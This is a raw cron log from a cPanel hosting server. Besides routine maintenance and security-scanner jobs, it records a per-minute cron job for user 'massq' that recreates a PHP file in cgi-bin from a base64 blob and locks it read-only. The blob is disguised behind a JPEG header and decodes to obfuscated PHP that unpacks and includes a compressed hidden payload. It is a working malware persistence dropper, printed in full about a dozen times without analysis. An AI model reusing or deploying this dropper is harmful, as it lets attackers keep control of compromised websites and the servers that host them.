Aug 31 17:01:01 server run-parts(/etc/cron.hourly)[27436]: starting 0anacron
Aug 31 17:01:01 server run-parts(/etc/cron.hourly)[27457]: finished 0anacron
Aug 31 17:02:01 server CROND[27824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:02:01 server CROND[27825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:02:01 server CROND[27826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:03:01 server CROND[28294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:03:01 server CROND[28295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:03:01 server CROND[28296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:04:01 server CROND[28669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:04:01 server CROND[28670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:04:01 server CROND[28671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:05:01 server CROND[29058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:05:01 server CROND[29060]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 17:05:01 server CROND[29073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:05:01 server CROND[29079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:05:01 server CROND[29083]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:05:01 server CROND[29078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:05:01 server CROND[29082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:05:01 server CROND[29081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:05:01 server CROND[29080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:06:01 server CROND[29933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:06:01 server CROND[29934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:06:01 server CROND[29935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:07:01 server CROND[30325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:07:01 server CROND[30326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:07:01 server CROND[30327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:08:01 server CROND[30806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:08:01 server CROND[30807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:08:01 server CROND[30809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:09:01 server CROND[31191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:09:01 server CROND[31193]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 17:09:01 server CROND[31192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:09:01 server CROND[31194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:10:01 server CROND[31669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:10:01 server CROND[31671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:10:01 server CROND[31680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:10:01 server CROND[31682]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:10:01 server CROND[31683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:10:01 server CROND[31684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:10:01 server CROND[31679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:10:01 server CROND[31688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:11:01 server CROND[32551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:11:01 server CROND[32552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:11:01 server CROND[32553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:12:01 server CROND[536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:12:01 server CROND[535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:12:01 server CROND[538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:12:01 server CROND[537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:13:01 server CROND[1152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:13:01 server CROND[1153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:13:01 server CROND[1154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:14:01 server CROND[1638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
